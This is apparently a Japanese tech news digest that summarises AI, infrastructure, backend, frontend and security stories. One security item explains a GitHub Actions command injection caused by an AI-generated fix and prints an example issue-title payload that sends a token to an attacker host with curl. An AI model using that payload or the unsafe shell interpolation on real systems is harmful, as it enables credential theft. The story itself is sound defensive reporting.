GitHubが約5時間の大規模障害、StripeがOpenRouterを1.1兆円超で買収か
AI
Stripe will reportedly acquire AI gateway startup OpenRouter for $7B+
決済サービスのStripeが、AIの「取次窓口」を提供するOpenRouterを70億ドル（約1.1兆円）超で買収する見込みだとBloombergが報じた。OpenRouterは、400を超えるAIモデルを1つの窓口から呼び出せるようにするサービスで、用途と予算に応じて「今回はこの会社のAI、次はあちらのAI」と使い分けられる。5月の資金調達時の評価額13億ドルから5倍以上に跳ね上がった計算で、AIの利用を仲介する場所そのものに大きな値が付いたことになる。OpenRouterのCEOは自社を「AI版のStripe」と表現しており、決済の入り口を押さえてきたStripeが、AI利用の入り口も押さえにいく構図だ。特定のAI会社に縛られない（ベンダーロックインを避ける）という価値が高く評価された点は、AIを業務に組み込む側にとっても示唆が大きい。
OpenAIがAIのもたらす深刻なリスクを評価・軽減することを目的とした危機管理チームが解散
OpenAIが、AIが制御不能になる危険性やサイバー攻撃への悪用といった深刻なリスクを評価してきた「Preparedness（備え）」チームを2026年7月末に解散していたことが報じられた。同社は株式上場（IPO）に向けた組織のスリム化の一環だと説明しており、2026年に入ってから6度目の組織再編にあたる。2024年5月にはAIの安全性を長期的に研究する「スーパーアライメント」チームも解散しており、安全側の部署が続けて畳まれた形だ。記事は「派手な製品が安全性より優先されている」という社内外の見方や、幹部の相次ぐ退職・従業員の燃え尽きを伝えている。AIの安全対策を業界の自主努力に委ねてよいのかという議論に、直接効いてくる動きだ。
Qwen 3.8 27B is excellent, but it defaults to wildly overthinking things
Simon Willison氏が、アリババが公開した27B（270億パラメータ）のオープンモデルQwen 3.8 27Bを手元のMacBook ProとDGX Sparkで試した記録。性能は高い一方、既定では推論の努力度が最高のxhighになっており、極端に考え込む癖があると指摘している。「円のSVGを描いて」という単純な依頼にすら同心円の下書きやグラデーションの検討を延々と重ね、定番のテスト（自転車に乗るペリカンの絵）では22,276トークン・21分を費やした。推論をオフにすると3,715トークン・137秒で済んだといい、まずは推論設定をlowか無効から始めるのが実用的だと結論づけている。ファイルサイズ17GBで画像内の物体の位置特定やコーディングエージェントの駆動までこなせる点は評価しており、「強いモデルにデータセンター級の機材が要る時代は終わりつつある」という見立てだ。
Anthropic’s ‘watermark’ text adulteration in Claude is a perversion of writing
AnthropicがClaudeの生成文に埋め込み始めた「電子透かし」を、John Gruber氏が文章に対する冒涜だと強く批判した。仕組みは目に見えない文字を混ぜるのではなく、単語の選び方そのものを操作するもので、生成中に語彙を確率的な「緑リスト」と「赤リスト」に分け、緑側をわずかに選びやすくする。秘密鍵を持つAnthropicだけがその偏りを統計的に検出できるという設計だ。Gruber氏は「曇天」と「灰色」のように類語でも意味の重みは違うと述べ、透かしのためにあえて劣る語を選ばせるのは文章の質を意図的に落とす行為だと主張する。EUの規制対応が理由とされているのに全世界へ一律適用している点も、地域ごとの出し分けができないはずがないとして疑問視している。
Hugging Face分析、中国のオープンモデルが台頭 Qwenは派生モデル15万件超
Hugging Faceが2026年1〜7月のデータを分析し、誰でも重みをダウンロードして使えるオープンモデルの分野で中国勢が急速に存在感を高めていると報告した。公開リポジトリ数は243万件から296万件に増え、中国勢が月ごとに公開する規模の上限は7,540億〜2兆7,800億パラメータに達する一方、米国勢は7カ月中5カ月で1,300億パラメータ未満にとどまった。ダウンロード数ではQwenが20億4,500万回と突出し、Moonshot AIの3,700万回を大きく引き離している。Qwenをベースに誰かが手を加えた「派生モデル」は151,448件でMeta全体の2.6倍、1日あたり180〜210件のペースで増え続けている。ライセンスはApache 2.0やMITといった商用利用しやすいものが大半を占めており、実務でオープンモデルを選ぶ際の選択肢が中国勢に偏りつつある現状がうかがえる。
Infra
Incident with GitHub.com
8月17日13時40分（協定世界時、日本時間の同日22時40分）からおよそ5時間にわたり、GitHubが広範囲のサービス障害を起こした。影響を受けたのはGit操作、Webhook、API、Issue、プルリクエスト、Actions、Pages、Copilotとほぼ全域で、WebとAPIのエラー率は約20％、アーカイブのダウンロードに至っては約50％が失敗する状態だった。SAMLやOIDC、SCIM、Team Syncといった認証・アカウント同期の仕組みも巻き込まれており、社内の権限管理をGitHubに寄せている組織ほど影響が広がった。GitHubは「問題のあるコンポーネントを特定し是正措置をとった」として18時23分に復旧を宣言したが、根本原因はこの時点では公表していない。開発の生命線を1社に預けることの怖さが改めて話題になり、Hacker Newsでは「GitHubの代替」を問うスレッドが上位に並んだ。
CNCF Announces Kubeflow’s Graduation, Solidifying a Standard for Cloud Native AI Operations
クラウドネイティブ技術の中立的な運営団体CNCFが、Kubernetes上でAI・機械学習の一連の作業を回すための基盤「Kubeflow」を最上位の「Graduated（卒業）」に認定した。Graduatedは「本番環境で使える成熟度に達した」というCNCFのお墨付きで、KubernetesやPrometheusと同じ段階になる。Kubeflowはデータの前処理から対話的な開発、分散学習、追加学習（ファインチューニング）、推論とモデル提供までを、特定のクラウド事業者に縛られない形で標準化する。PyPIでの累計ダウンロードは約2億6,000万回、GitHubのスターは合計33,000超、1,000以上の組織から6,600人以上が開発に参加しており、BloombergやNVIDIA、Red Hat、LinkedIn、Spotifyが実運用している。AIの取り組みを実験段階から本番へ移す際の「置き場所」として、選択肢が一段固まった格好だ。
Nvidia investing $1.5B in SoftBank data center developer behind OpenAI project
NVIDIAが、ソフトバンクとOpenAIが出資するデータセンター開発会社SB Energyに15億ドルを出資し、さらに設備拡張のため最大1,050億ドルの与信枠を提供する。対象はオハイオ州シンシナティ近郊で建設中の「Ports-Pike」データセンターで、電力規模を4.25ギガワットから8ギガワットへ拡張し、米エネルギー省が保有していた旧ウラン濃縮施設の跡地に330億ドルの天然ガス発電所を併設する計画だ。この契約により、NVIDIAはOpenAIのPorts-Pikeにおける計算資源の唯一の供給元となることが保証される。チップを売る側が、そのチップを置く建物と電気にまで資本を突っ込むという垂直統合が一段進んだことになる。一方で天然ガス価格の上昇は運用コストを直撃するため、この構図が持続するかは電力市場次第だという指摘も添えられている。
Groq raises $350M to fuel its pivot from AI chips to neocloud
AI専用チップ「LPU」で知られたGroqが、自社チップの製造をやめてNVIDIA製システムを動かすクラウド事業者（ネオクラウド）へ転身するため、3億5,000万ドルを調達した。評価額は35億ドルで、2025年9月の69億ドルからは下がっているが、同社はNVIDIAとの200億ドル規模のライセンス契約——創業者兼CEOのJonathan Ross氏ごとNVIDIAに引き抜かれた一件——を経た「新体制での値付け」だと説明している。現在13カ所のデータセンターを運用し、600万を超える開発者・企業にサービスを提供、電力規模を54メガワットから2027年までに200メガワット超へ広げる計画だ。学習ではなく推論（実際にAIを動かして答えを返す処理）がインフラの主戦場になりつつある中で、CoreWeaveやLambdaと同じ土俵に降りた形になる。ただしネオクラウドは設備投資と機材の値下がり、借入金の重さを抱える商売で、採算が取れるかは未知数だと記事は釘を刺している。
オラクルとAWS、「Oracle AI Database@AWS」上での「Oracle Exadata on Exascale」の一般提供を開始
OracleとAWSが、AWSのデータセンター内でOracleのデータベース専用機（Exadata）を使えるサービスの新形態を正式提供に移した。従来は大規模な構成が前提だったExadata級の性能を、使った分だけ支払う形で小さな規模からも利用できるようになる。あわせて運用の手間を自動化した「Oracle Autonomous AI Database Serverless」も一般提供が始まり、対応リージョンは22カ所に拡大した。技術的な目玉は、アプリケーションとデータベースの間の応答待ち時間を200マイクロ秒未満まで縮めた点と、データを外に持ち出したり複製したりせずにAIを適用できる点だ。意味や文脈で検索する「Oracle AI Vector Search」も使えるため、基幹システムのデータを動かさないまま生成AIにつなぎたい組織にとって、移行の言い訳が1つ減ったことになる。
Backend
A Preview of DuckDB v2.0
手元のパソコンで動く分析用データベースDuckDBが、v1.5から1万を超える変更を積み上げてv2.0（開発コード「Cyanoptera」）のプレビューに到達した。最大の変化は、これまで完全に単体で動く前提だったDuckDBがネットワーク越しに接続できるようになったこと（Quack拡張とCONNECT文）で、PostgreSQLやMySQLへの問い合わせを相手側に押し込む最適化も入った。JSONのような形の定まらないデータを扱うVARIANT型が本格対応し、Parquetへの読み書きや列を分解した高速処理ができる。トリガーの完全サポート、類似検索向けのNEAREST結合、非同期I/Oによるリモートデータ読み込みの高速化、再帰CTEエンジンの書き直しによる約40倍の高速化など、実務に効く改善が並ぶ。PostgreSQL由来だったSQLパーサーをPEGベースの新実装に置き換えてエラーメッセージを分かりやすくし、拡張機能向けのC APIを安定化して「一度ビルドすれば複数バージョンで動く」ようにした点も大きい。
Pythonライクで高速な「Mojo言語」がバージョン1.0に到達、今後はコンパイラをオープンソース化すると表明
Modularが開発するプログラミング言語Mojoがバージョン1.0に到達し、言語仕様が安定して本番利用できる段階に入った。当初は「Pythonの高速な上位互換」と説明されていたが、現在は「AI時代のシステム言語」と位置づけを変え、「Pythonのように書いてC++のように動く」コンパイラ言語を掲げている。CPUだけでなくGPUやNPU（AI処理専用の演算装置）向けに最適化したコードを、PyTorchやTensorFlowといったライブラリに頼らず直接書ける点が特徴だ。Pythonとの相互運用性が高いため、既存のPythonコードを少しずつ置き換えていく移行の仕方が取れる。Modularは2026年中にコンパイラとツールチェーンをオープンソース化すると表明しており、閉じた言語ではないかという懸念に一定の答えを出した形になる。
攻撃手法から学ぶ OAuth セキュリティベストプラクティス
「Googleでログイン」のような外部サービス連携で使われるOAuthについて、実際の攻撃手法を起点に対策を整理したZennの無料書籍が公開され、はてなブックマークで大きく伸びた。扱われているのは、戻り先URL（リダイレクトURI）の検証不足、認可コードやアクセストークンをすり替えるトークン注入、CSRF対策の欠如、漏れたアクセストークンの悪用、IDトークンの使い回し、複数の認可サーバーを取り違えさせるMix-Upアタック、クライアントによる利用者のなりすまし、DPoPの証明を使い回す攻撃など。約87,600字という分量で、それぞれに最新のベストプラクティスに基づく対抗策が示されている。著者はOAuth/OIDCの実装を提供するAuthlete社のエンジニアで、仕様書を読むだけでは掴みにくい「なぜその制約があるのか」を攻撃側から埋める構成になっている。
Thinking about tests: assertions and matchers
テストの書き方を「アサーション」と「マッチャー」という2つの流儀で比較した記事。assert_equal(結果, 期待値)のようなアサーションは単純で分かりやすいが、フレームワークが用意した検査しかできない。対してマッチャーは検査そのものを独立した部品として扱うため、expect(emails).to all be_a Stringのように組み合わせたり入れ子にしたりして、新しい検査を自分で組み立てられるのが利点だという。この組み合わせ可能性のおかげで、Given/When/Thenのような独自の疑似フレームワークを持ち込まなくても、対象領域の言葉でテストを書ける。著者は、読みやすいテストが必要なのは人間だけでなく、コードを読み解くAIエージェントにとっても同じだと述べ、認知の負担とAIを動かす費用（トークン代）の両方を減らすと指摘している。テストコードにも本番コードと同じだけ表現の手入れをすべきだ、という主張だ。
A faster way to calculate the day-of-the-week
通し番号で表した日付から曜日を求める計算を、割り算を一切使わずに3命令で済ませる手法の解説。7が2の3乗から1を引いた「メルセンヌ数」であることを利用し、魔法の定数613,566,756を掛けて回転定数を足し、29ビット右にずらすだけで答えが出る。従来はCassio Neri氏の2024年の手法でも補正のために4つの依存した演算が必要で、Howard Hinnant氏の方式には条件分岐が残っていた。著者は「2の冪でのパディングによる剰余」——(x + c⌊x/D⌋) mod (D+c)のD+cが2の冪になるよう選ぶ——という新しい技を導入してこれらを取り除いた。実行時間はApple M4 Proで従来の0.17〜0.48倍、AMD Ryzen 9で0.23〜0.59倍（おおむね2〜3倍の高速化）と報告しており、日付計算がループの内側に入るような処理では効いてくる。
Frontend
Visual Studio Code 1.133正式リリース。プロンプトを見失わない固定スクロール、ローカルHTMLファイルの自動リロード、ClaudeとCopilotの混在可能など新機能
マイクロソフトがVS Code 1.133を正式リリースし、AIとの長い対話を扱いやすくする機能を複数入れた。目玉は「固定スクロール」で、チャットを下へ辿っていっても画面上部に今どのプロンプトの応答を読んでいるかが番号付きで残り、上下の矢印で前後のプロンプトへ素早く飛べる。ローカルのHTMLファイルを内蔵ブラウザで開いている場合、「Refresh Automatically」を有効にすると保存のたびに自動で再読み込みされるようになった。そしてCopilotとAnthropicのモデルを1つのチャットの中で混在させられるようになり、やり取りのターンごとに切り替えられる（それぞれ対応するAPIキーかサブスクリプションが必要）。用途に応じてモデルを使い分けたい人にとって、エディタを離れずに済む範囲が広がった。
Firefox for iOSに広告ブロッカーが標準搭載へ、EasyListベースで広告を読み込み前に遮断
MozillaがiPhone・iPad向けFirefoxに広告ブロック機能を標準搭載し、段階的な提供を始めた。仕組みは、広告配信元のリストとして広く使われているEasyListと照合して、そもそも読み込み自体を止めるというもの。表示後に隠すのではなくネットワークの段階で遮断するため、通信量とページの表示時間の両方に効く。Firefoxには以前から「強化型トラッキング防止機能」があったが、こちらは利用者の行動追跡を防ぐのが目的で、追跡しないタイプの広告は素通りしていた。今回はポップアップやページに覆いかぶさるオーバーレイ広告も対象になる。ただし検索エンジンの検索結果に出る広告と、Firefoxのホーム画面に出るスポンサーコンテンツは対象外だ。
Beyond WASI: Running any Rust application in the browser with BrowserPod 3.0
Rustで書かれたアプリを一行も書き換えずにブラウザ内で動かす「BrowserPod 3.0」の解説。WebAssemblyからファイルや通信といったOSの機能を使うための標準的な仕組みはWASIだが、既存のRustプログラムをWASI向けにコンパイルすると、OS依存の部分を書き換え、スレッドの使用をやめ、機能の削減を受け入れる必要がある。BrowserPodはWASIを使わず、wasm32-browserpod-linux-muslという独自のターゲットを定義し、Linuxのシステムコールをまるごと提供する方式を採った。ターゲット定義のJSONで自らを「Unix系」と名乗り（対象ファミリーから”wasm”を外す）、archをwasm64にすることでライブラリ側の「wasm32ならブラウザ専用」という前提を回避し、独自のmusl libcとシステムコール実装をリンクする。結果としてripgrepやYarn、Starship、さらには125万行規模のコードベースまで通常のcargo buildでそのまま動き、対話的なドキュメントやブラウザ完結の開発環境という用途が現実味を帯びる。
When the Down Arrow is not an Upside-Down Up Arrow
macOSで下向きの白抜き矢印（⇩）を表示すると、上向き（⇧）より明らかに線が細く見える——その理由を追った記事。原因はフォントの取りこぼしで、macOS標準のLucida Grandeには上向きの字形しか入っておらず、下向きを表示しようとすると別のフォントSTIXGeneralに肩代わりさせる（フォールバック）ため、太さや比率が揃わない。なぜ片方だけなのかというと、繁体字中国語のフォントがBig5という古い文字コードで上向き矢印を持っていた歴史があり、Lucida Grandeはそれを流用しただけで、Unicodeの矢印一式を意図して実装したわけではなかったからだ。同じ記号の集まりなら見た目も揃うはず、という設計側の前提が、フォントの穴埋め機構によって静かに崩れる例といえる。アイコンを絵文字や記号文字で済ませているUIでは、環境によって太さや大きさが不揃いになりうると知っておく価値がある。
Desktopcolors.com – A museum for solid background colors of classic OS
歴代のOSが標準で用意していたデスクトップの「単色の背景色」だけを集めた資料サイト。Windows 1.0（1985年）からKDE Plasma 6（2024年）まで22のプラットフォーム、計194色を収録し、BeOSやAmiga Workbench、SerenityOSといった主流から外れた環境も含んでいる。各OSのカードには代表色と発売年、短い背景説明、収録色数が並び、カード表示と一覧表示を切り替えたり、人気順・年代順・アルファベット順で並べ替えたりできる。作者自身が「郷愁の産物」と表現するとおり実用ツールというより記録の試みだが、当時のディスプレイの表現力や配色の常識が色に刻まれているため、レトロ調のUIを作るときの参照元としても使える。
Others
AI-Generated GitHub Copilot “Autofix” Allowed Compromise of Snowflake’s Jira
セキュリティ企業Wizの自律型調査エージェント「Red Agent」が、Snowflakeの公開GitHubリポジトリに5日間だけ存在した重大な穴を見つけ、人の手を介さずに実際に悪用してJiraのAPI認証情報を抜き取った。原因は2026年6月18日のプルリクエスト#1218で、共著者として「Copilot Autofix powered by AI」が記録されている。それ以前はenv:経由で変数を渡しjq -n --argで安全に処理していたのを、AIがTITLE=$(echo '${{ github.event.issue.title }}' | sed ...)という直接シェルに埋め込む書き方へ置き換えてしまっていた。このワークフローはIssueが作られるだけで動くため、攻撃者はIssueのタイトルに'; curl -s "https://attacker.com?t=..." ; echo 'のような文字列を仕込むだけで、GitHub Actionsの実行環境で任意のコマンドを走らせられた。AIが「なぜその書き方だったのか」を理解しないまま安全対策を外し、別のAIがそれを5日で見つけて突く——攻守どちらも自動化された時代の縮図であり、GitHub Actionsで信用できない入力をrun:に直接埋め込まない原則の重みが増した事例だ。
Apple’s App Tracking Transparency treated its own apps better than rivals
ドイツの競争当局（連邦カルテル庁）が、Appleのアプリ追跡許可の仕組み「App Tracking Transparency」について、Apple自身のサービスを他社アプリより有利に扱っていたと認定した。他社には決まった文言・決まった見た目の同意ダイアログを義務づける一方、Apple自身のサービスでは異なる文言と設計を使っており、しかも他社側には利用者が同意をためらう方向に働く要素が含まれていたという。Andreas Mundt長官は「Apple自身の同意要求と、他社アプリ向けにAppleが定めた同意要求の差は、正当化できる範囲を超えていた」と述べている。制裁金は科されず、Appleが自主的な約束（同意画面の中立化、ためらわせる記号や表現の削除、複数の同意要求をまとめる自由の付与など）を確約する形で決着した。実施期限は4カ月、その後7年間は独立した受託者による監視が続き、この約束はEU全域に適用される。
「さくらのレンタルサーバ」に不正アクセス 583アカウントが不正ログイン被害、個人データなど漏えいのおそれ
さくらインターネットが「さくらのレンタルサーバ」で不正アクセスを受け、583アカウントが不正ログインの被害に遭ったと公表した。顧客が自分の領域に保存していた情報と利用者識別子が漏れた可能性がある。8月9日にサーバの異常を検知して調査したところ、同社の管理環境を経由して第三者が顧客環境へ侵入していたことが判明し、一部のサーバにはマルウェアが仕掛けられていた。利用者側の推測されやすいパスワードなどではなく、事業者側の管理経路が突破口になった点が重い。同社は認証情報の無効化とアクセス遮断、マルウェアの除去、外部専門機関と連携した記録の解析（フォレンジック調査）を実施し、データベースのアップグレード機能など一部を制限している。利用者には身に覚えのないファイルやアカウントが増えていないかの確認と、この件に便乗したフィッシングメールへの警戒を呼び掛けた。
Windows OEMライセンス料”サイレント値上げ”のショック PC価格高騰の裏でMicrosoftが急ぐAI投資の回収
MicrosoftがPCメーカー向けのWindowsライセンス料を大きく引き上げており、2026年第3四半期にはメーカーが最大5％の値上げを迫られているという報道を整理した記事。ライセンス料は毎年少しずつ上がってきたが、直近1年と比べても7〜10％の上昇になっているとされる。折悪しくDRAMやNANDフラッシュといった記憶装置の部品価格が高騰し、CPUやGPUも値上がりしているため、ハードとソフトの両側から同時に押し上げられる形になっている。背景にはMicrosoftの巨額なAI投資をどう回収するかという事情があり、その負担が最終的にPCの店頭価格として利用者へ回ってくる構図だ。社内の端末更新を計画している立場では、見積もりの前提が来期から変わりうる点を織り込んでおきたい。
メモリ価格高騰の鍵を握る中国CXMTとは？DDR5全振りの国策DRAM企業
いま起きているメモリ価格の高騰を、中国の国策DRAM企業CXMTの動きから読み解いた解説記事。CXMTは「中国製造2025」に基づき2018年に安徽省合肥市の出資で設立され、経営破綻したドイツQimondaの技術・特許を引き継いでDRAM製造を始めた企業だ。価格高騰の直接の引き金は旧世代のDDR4の供給不足で、Samsung・SK Hynix・Micronの上位3社がDDR5やHBM（AI向けの高帯域メモリ）に生産能力を寄せてDDR4から手を引く中、最後の受け皿と目されていたCXMTまでもがDDR4の生産中止を発表した。記事はこれを「政府筋からの指示ではないか」と推測しつつ、結果として過去に例のない勢いでDDR4価格が跳ね上がったと説明する。ただしCXMTの技術は上位3社から2世代遅れており、制裁でEUV露光装置が使えず微細化も進めにくいため、秋葉原など日本の店頭に供給が回ってくる見込みは極めて低いとしている。